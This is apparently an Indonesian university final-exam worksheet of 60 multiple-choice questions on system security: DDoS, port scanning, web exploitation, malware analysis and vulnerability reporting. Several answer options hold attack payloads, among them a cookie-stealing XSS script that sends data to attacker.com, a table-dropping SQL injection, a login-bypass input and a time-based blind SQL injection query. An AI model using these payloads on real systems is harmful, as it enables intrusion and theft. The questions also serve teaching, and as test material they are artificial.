NEW
Font size
WorksheetsUjian Akhir Semester (UAS) Keamanan Sistem
Total questions: 60
Worksheet time: 30mins
Apa tujuan utama serangan DDoS?
Mengalihkan trafik ke server lain
Menghentikan layanan dengan membanjiri resource target
Mencuri data rahasia pengguna
Memasang malware di jaringan korban
Jenis serangan DDoS mana yang memanfaatkan banyak host terinfeksi untuk mengirim paket sekaligus?
UDP Flood
SYN Flood
Botnet-based DDoS
DNS Amplification
Port nomor berapa yang sering dibanjiri pada serangan UDP Flood?
22 (SSH)
80 (HTTP)
53 (DNS)
0 (Reserved)
Manakah dari hal berikut yang merupakan indikator simpel terjadinya DDoS pada sebuah web server?
Sistem operasi crash
Kecepatan loading halaman web sangat lambat atau timeout
File log terhapus otomatis
Website mengganti tampilan menjadi halaman putih
Apa perbedaan utama antara serangan SYN Flood dan UDP Flood dalam konteks DDoS?
SYN Flood menargetkan lapisan aplikasi, UDP Flood menargetkan lapisan transport
SYN Flood menargetkan koneksi TCP, UDP Flood menargetkan koneksi UDP
SYN Flood memerlukan botnet, UDP Flood tidak memerlukan botnet
SYN Flood hanya menyerang port 80, UDP Flood hanya menyerang port 443
Teknik mitigasi DDoS manakah yang menggunakan analisis pola trafik untuk memblokir lalu lintas mencurigakan?
Rate Limiting
Blackholing
Sinkholing
IP Reputation Filtering
Apa fungsi dari “blackholing” dalam mitigasi DDoS?
Mengalihkan trafik yang valid ke server cadangan
Mengarahkan seluruh trafik (baik valid maupun serangan) ke sebuah “lubang hitam” sehingga tidak sampai ke server utama
Mengidentifikasi paket jahat untuk dianalisis lebih lanjut
Menggunakan Cloudflare untuk mencegat serangan
Dalam serangan DNS Amplification, bagaimana penyerang mendapatkan efek amplifikasi?
Mengirim permintaan DNS besar dari satu IP palsu
Memanfaatkan DNS server terbuka untuk mengirim respons yang jauh lebih besar ke target dengan memalsukan alamat IP korban
Mengirim permintaan HTTP ke server DNS
Menggabungkan UDP dan TCP Flood secara bersamaan
Anda melihat lonjakan trafik SYN yang tidak wajar ke sebuah server produksi. Paket-paket SYN tersebut datang dari ribuan alamat IP berbeda. Jenis serangan apakah ini, dan apa langkah cepat untuk menganalisis?
UDP Flood; periksa port yang dibanjiri
Distributed SYN Flood; gunakan alat seperti tcpdump untuk melihat header TCP/SYN dan identifikasi pola IP source
HTTP Flood; lihat URL yang diakses secara berlebihan
ICMP Flood; cek jenis ICMP pada paket-paket
Serangan “Slowloris” sering dianggap varian DDoS. Bagaimana cara kerjanya secara umum?
Mengirim banyak paket ICMP untuk memenuhi bandwidth
Membuka banyak koneksi HTTP dan menahan agar tidak ditutup dengan mengirim header secara perlahan sehingga memakan resource server
Memanfaatkan botnet untuk mengirim paket UDP secara acak
Memanfaatkan kekurangan memori aplikasi web untuk memicu buffer overflow
Ketika melakukan mitigasi dengan teknik “scrubbing” di provider, trafik dialihkan ke server pembersihan. Apa risiko utama dari metode ini jika tidak dikonfigurasi dengan benar?
Trafik terenkripsi tidak bisa dibersihkan
Latensi meningkat tajam karena semua paket diuji satu per satu
Valid trafik potensial bisa terblokir (false positive) sehingga layanan terhambat
Server utama menjadi single point of failure
Sebuah perusahaan sedang merancang solusi proteksi DDoS tingkat tinggi. Salah satu komponennya adalah “Anycast Network”. Bagaimana prinsip kerja Anycast dalam konteks DDoS mitigation?
Menggunakan satu alamat IP untuk semua server sehingga sulit dilacak
Menyalurkan trafik ke banyak lokasi geografis secara otomatis untuk menyebarkan beban
Memblokir IP sumber yang dianggap jahat
Menggunakan enkripsi pada semua paket masuk
Apa yang dimaksud dengan “scan port” pada web server?
Mengecek konten website untuk menemukan kata kunci tertentu
Mengirim permintaan HTTP untuk memperoleh halaman utama
Menguji port-port jaringan untuk menemukan port terbuka
Mengunduh file konfigurasi server
Manakah software yang sering digunakan untuk melakukan port scanning?
Metasploit
Nmap
Burp Suite
Wireshark
Jika menemukan port 22 (SSH) terbuka di server yang menjadi target, apa kemungkinan celah yang bisa dieksploitasi?
SQL Injection
Brute-force login SSH
Cross-Site Scripting
Directory Traversal
Untuk mengakses direktori tersembunyi di web server tanpa izin, teknik apa yang biasa digunakan?
Cross-Origin Resource Sharing
Directory Traversal
Man-in-the-Middle Attack
ARP Spoofing
Perintah berikut dijalankan: `nmap -sS -p 80,443 example.com`. Apa arti opsi `-sS`?
Melakukan sejumlah (mass) scan
TCP connect scan
TCP SYN scan (half-open scan)
UDP scan
Seorang pentester menemukan file `phpinfo.php` yang memuat informasi konfigurasi PHP. Kenapa file ini dapat menjadi celah keamanan?
Memungkinkan eksekusi perintah jarak jauh
Mengungkap detail modul yang terpasang, path direktori, dan variabel lingkungan yang memudahkan perencanaan serangan lebih lanjut
File tersebut selalu berisi kredensial database
Hanya bisa diakses jika ada serangan SQL Injection sebelumnya
Apa fungsi file `.htaccess` pada server Apache?
Menyimpan log aktivitas server
Menentukan konfigurasi direktori, seperti aturan rewrite, pembatasan akses, dan redirect
Menjalankan skrip PHP secara otomatis
Menyimpan kunci SSH untuk autentikasi
Bagaimana cara kerja serangan “Directory Brute Forcing” pada web server?
Menggunakan SQL Injection untuk memperoleh nama direktori
Mengirim permintaan HTTP ke berbagai URL berdasarkan wordlist untuk menemukan direktori tersembunyi atau file sensitif
Mengedit file konfigurasi server via FTP
Menggunakan ARP Spoofing untuk memperoleh paket data
Skenario: Anda menemukan bahwa web server menggunakan Apache versi lama yang rentan terhadap exploit mod_ssl. Langkah pertama apa yang akan Anda lakukan sebagai pentester?
Melakukan exploit langsung dengan Metasploit
Mengecek vulnerability database (CVE) untuk mencari exploit yang sesuai dan memverifikasi patch yang telah tersedia
Melakukan brute-force login SSH
Menyebarkan malware ke server
Server menolak koneksi HTTPS di port 443, tetapi port 80 terbuka. Setelah dianalisis lebih lanjut, ditemukan bahwa modul SSL belum terinstal. Apa risiko utamanya?
Tidak ada risiko karena hanya HTTP yang berjalan
Data sensitif dan kredensial dikirim dalam plaintext sehingga mudah disadap
Server rentan terhadap buffer overflow
Server tidak bisa di-scan menggunakan Nmap
Anda sukses mendapatkan shell low-privilege di server Linux. Bagaimana cara Anda mengidentifikasi apakah user `www-data` (user web server) memiliki kemampuan untuk menaikkan privilege (privilege escalation)?
Mengecek file `/etc/passwd` untuk menemukan password root
Mengeksekusi `sudo -l` untuk melihat perintah apa saja yang boleh dijalankan tanpa password
Mengubah hak akses file `/etc/shadow`
Menghapus user lain di server
Dalam konteks exploit web server Windows, apa itu “Null Byte Injection” dan bagaimana teknik ini dapat digunakan?
Menyisipkan karakter `\x00` di akhir input untuk memotong ekstensi file saat server memproses path, sehingga mem-bypass filter ekstensi berbahaya
Menggunakan byte `\x00` untuk crash buffer overflow
Digunakan untuk memperlambat respon server dengan mengirim paket kosong
Teknik ini digunakan untuk kerentanan XSS pada server IIS
Apa itu SQL Injection?
Teknik mencuri cookie pengguna
Menyisipkan perintah SQL jahat melalui input form untuk dimasukkan ke database
Merusak dataset pada server FTP
Mengunduh file database
Contoh payload sederhana untuk SQL Injection pada parameter `id` adalah
'; DROP TABLE users; --
<script>alert(1)</script>
../etc/passwd
<?php phpinfo(); ?>
Apa itu Cross-Site Scripting (XSS)?
Teknik menyisipkan skrip berbahaya ke dalam halaman web agar dieksekusi di browser pengguna
Teknik untuk memalsukan alamat IP
Memanfaatkan celah buffer overflow di web server
Memasang rootkit pada server web
Manakah jenis XSS yang disertakan pada halaman web tanpa validasi sehingga skrip dijalankan langsung saat halaman dimuat?
Stored XSS
Reflected XSS
DOM-based XSS
Blind XSS
Parameter `username` dan `password` pada form login rentan terhadap SQL Injection. Query di backend: SELECT * FROM users WHERE username = '$username' AND password = '$password';
Jika attacker mengirim `username = 'admin' --` dan `password = 'anything'`, apa yang terjadi?
Login gagal karena syntax salah
Query menjadi SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';,
Query menjadi `SELECT * FROM users WHERE password = 'anything';
Query error karena --
Bagaimana cara mencegah SQL Injection di aplikasi PHP?
Menggunakan `mysqli_query()` langsung
Menggunakan prepared statements (misal PDO dengan parameter binding)
Menghapus karakter `'` di input menggunakan `str_replace()`
Menggunakan filter var_dump()
Anda menemukan skrip berikut di sebuah halaman:
Jenis XSS apa yang bisa terjadi?
Stored XSS
Reflected XSS
DOM-based XSS
Blind XSS
Untuk mencegah XSS pada output HTML, fungsi PHP mana yang paling sesuai?
`strip_tags()`
`htmlspecialchars()`
`addslashes()`
`base64_encode()`
Skenario:
Aplikasi rentan XSS tersimpan (Stored XSS) pada kolom komentar. Penyerang dapat menyisipkan payload JavaScript yang dieksekusi setiap kali pengguna membuka halaman komentar. Bagaimana payload “Self XSS” bisa digunakan untuk mencuri cookie? (anggap aplikasi tidak menggunakan HttpOnly pada cookie)
"><img src=x onerror="alert(document.cookie)">
<script>fetch('http://attacker.com/steal?c=' + document.cookie)</script>
"><svg onload="console.log('XSS')">
<iframe src="http://attacker.com"></iframe>
Dalam konteks Blind SQL Injection, penyerang sering menggunakan teknik “Time-Based” (misalnya `SLEEP(5)`). Apa tujuan teknik ini?
Mempercepat query
Membuat response server tertunda sehingga penyerang bisa mengonfirmasi bit atau karakter dari database karena waktu eksekusi yang berbeda
Menghindari deteksi WAF (Web Application Firewall)
Menghabiskan resource server dengan menunda setiap koneksi
Anda meninjau sebuah form login yang menggunakan AJAX untuk memroses input, dengan JavaScript sebagai berikut
Reflected XSS, karena `innerHTML` digunakan tanpa filter tambahan
Stored XSS, karena AJAX selalu menyimpan data ke database
DOM-based XSS, karena manipulasi DOM pada `innerHTML` memungkinkan payload mengeksekusi
Tidak ada celah XSS karena sudah di-*encode*
Bagaimana cara memanfaatkan celah SQL Injection untuk membaca tabel sistem (misalnya `information_schema.columns`) pada MySQL jika input tidak diafabkan (filter) dan response outputnya dibatasi?
Menggunakan SQL Injection tipe Boolean-based blind dengan query: ' AND (SELECT IF((SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),1,1))='u', SLEEP(5), NULL)) --
Menggunakan XSS untuk mengambil data kolom
Membuat stored procedure untuk mengambil data
Menggunakan SSL untuk mem-bypass filter
Apa definisi malware?
Perangkat keras yang rusak
Perangkat lunak yang dirancang untuk merusak, mencuri data, atau mengganggu sistem
Metode enkripsi data
Bahasa pemrograman untuk web
Manakah yang termasuk kategori malware?
Antivirus
Worm, Virus, Trojan
Firewall
Sistem operasi
Static analysis pada malware biasanya dilakukan dengan cara?
Menjalankan malware di sandbox
Membongkar file biner (.exe, .dll) dan memeriksa string, header, dan sekumpulan byte tanpa menjalankannya
Menggunakan debugger untuk mengeksekusi baris per baris
Melihat hasil log jaringan
Apa tujuan “sandboxing” dalam analisis malware?
Mengoptimalkan kinerja aplikasi
Menjalankan malware dalam lingkungan terisolasi agar tidak menyebar ke sistem utama
Mempercepat eksekusi malware
Mengompresi file malware
Pada analisis malware, apa fungsi dari instruksi “PE Header” pada file Windows executable?
Menentukan pengguna terakhir yang menjalankan file
Menyimpan metadata seperti ukuran kode, data, dan informasi sekuriti (import table, entry point, dll)
Mengeksekusi kode malware
Memanggil antivirus otomatis
Manakah alat yang sering digunakan untuk melakukan analisis dinamis malware pada Windows?
IDA Pro
OllyDbg atau x64dbg
Wireshark
Burp Suite
Anda menemukan malware yang melakukan koneksi C2 (Command & Control). Port default yang sering digunakan botnet Mirai adalah?
80
23
8080
443
Dalam proses unpacking sebuah malware yang dikemas dengan UPX, perintah apa yang dapat digunakan pada Linux untuk melihat isi biner asli?
`upx -d malware.exe`
`strip malware.exe`
`chmod +x malware.exe`
`strings malware.exe`
Skenario: Anda menganalisis sampel malware Windows yang terdeteksi sebagai “Ransomware”. Saat dieksekusi di sandbox, file memanggil API Windows berikut:
CreateFile("\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
Apa tujuan utama panggilan API tersebut?
Membaca informasi registry Windows
Mengakses langsung disk fisik untuk mengenkripsi sektor sebelum file system, sehingga memaksa pengguna membayar tebusan
Membuat file log di disk
Mereset password administrator
Dalam analisis forensik malware, RSA-2048 sering digunakan. Apa kira-kira alasan penggunaan algoritma RSA-2048 dalam ransomware?
RSA-2048 lebih cepat daripada symmetric AES
RSA-2048 memungkinkan enkripsi kunci simetris (AES) dengan aman, membuat kunci dekripsi sulit dipatahkan
RSA-2048 gratis untuk digunakan
RSA-2048 tidak memerlukan perpustakaan eksternal
Anda melakukan debugging malware menggunakan OllyDbg dan menemukan bahwa sebelum payload utama dijalankan, malware memanggil fungsi berikut:
VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
Apa tujuan panggilan tersebut?
Mengalokasikan memori baru dengan hak akses baca-tulis-eksekusi untuk menyimpan payload terdekripsi dan menjalankannya di memori
Mengosongkan cache memori
Menutup semua proses yang berjalan
Membuat file sementara
Bagaimana teknik “Code Obfuscation” mempersulit analisis malware?
Membuat file malware berukuran sangat besar
Mengacak nama fungsi, variabel, dan menambahkan instruksi tak terpakai sehingga kode sulit dipahami secara statis maupun dinamis
Menggunakan enkripsi SSL pada tiap panggilan API
Menyisipkan CAPTCHA
Apa tujuan utama dari laporan Vulnerability Assessment (VA)?
Mengaktifkan firewall baru
Mengidentifikasi, mendokumentasikan, dan memberikan rekomendasi terhadap kerentanan sistem sebelum dieksploitasi penyerang
Menghapus semua user yang tidak aktif
Menginstal patch otomatis
Manakah komponen penting yang seharusnya ada dalam laporan VA?
Daftar seluruh file di server
Ringkasan eksekutif, rincian temuan, risiko, dan rekomendasi perbaikan
Daftar aktivitas pengguna
Log telemetri aplikasi
Istilah “CVSS Score” dalam konteks VA merujuk pada?
Rating kecepatan server
Common Vulnerability Scoring System, yaitu metode penilaian tingkat keparahan kerentanan
Protokol enkripsi standar
Daftar paket software yang terinstal
Apa arti singkatan “POC” dalam laporan penilaian kerentanan?
Point of Contact (kontak utama)
Proof of Concept (bukti konsep)
Packet over Control
Privilege of Code
Seorang VA engineer menemukan kerentanan SQL Injection dengan CVSS v3.1 Base Score 9.1. Bagaimana cara menuliskan level keparahan di laporan?
Low
Medium
High
Critical
Pada bagian executive summary laporan VA, informasi apa yang paling cocok untuk disajikan?
Detail teknis exploit pada tiap kerentanan
Ringkasan temuan utama, dampak bisnis, dan rekomendasi high-level untuk manajemen
Daftar IP yang discan
Hasil dump database
Dalam laporan VA, sebaiknya bagian “Scope” memuat apa saja?
Daftar nama tester dan jadwal jam kerja
Cakupan sistem yang diuji (IP/network range, aplikasi, versi perangkat lunak) serta batasan yang berlaku selama pengujian
Hasil screenshot exploit
Daftar port yang dibuka pada firewall
Manakah indikator berikut yang menunjukkan bahwa sebuah kerentanan “medium” perlu segera ditangani karena potensi eksploitasi yang mudah?
CVSS 3.0 Base Score = 4.3 dengan Attack Vector: Network, Attack Complexity: Low, User Interaction: None
CVSS 3.0 Base Score = 2.1 dengan Attack Vector: Local, Authentication: Required
CVSS 3.0 Base Score = 7.0 dengan Attack Vector: Physical
CVSS 3.0 Base Score = 1.0 dengan Attack Vector: Network
Dalam laporan VA, ketika merekomendasikan mitigasi untuk kerentanan RCE (Remote Code Execution), manakah pernyataan rekomendasi yang paling tepat?
“Pastikan pengguna tidak memasukkan input berupa karakter aneh.”
“Segera patch sistem ke versi X.X.X; jika patch belum tersedia, batasi akses port terkait, gunakan Web Application Firewall (WAF) untuk memblokir payload, dan lakukan validasi input di sisi server.”
“Hapus saja service yang rentan.”
“Tingkatkan RAM server agar lebih cepat.”
Dalam menulis laporan, VA engineer menyertakan tabel prioritas perbaikan:
Mengapa kolom “Risk Level” penting, walaupun sudah ada CVSS?
Karena CVSS tidak pernah akurat
Risk Level menyesuaikan konteks bisnis, exposure, dan dampak spesifik organisasi meski angka CVSS sama
Agar laporan terlihat lengkap
Karena atasan tidak mau melihat angka saja
Bagian “Proof of Concept (PoC)” dalam laporan VA dibuat untuk apa?
Menunjukkan bahwa kerentanan benar-benar dapat dieksploitasi (dengan contoh teknik atau skrip) agar tim pengembang memahami cara kerja exploit
Hanya untuk tujuan dokumentasi internal
Agar sertifikat SSL bisa dipasang secara otomatis
Menampilkan screenshot dari sistem operasi
Jika manajemen meminta ringkasan temuan VA yang mudah dipahami non-teknis, bagian mana yang perlu ditonjolkan?
Daftar setiap port yang dibuka dan tertutup
Ringkasan eksekutif—menjelaskan kerentanan utama, potensi dampak bisnis, dan rekomendasi prioritas secara singkat tanpa jargon teknis berlebih
Tabel dump hasil scan
Log lengkap dari proses scanning
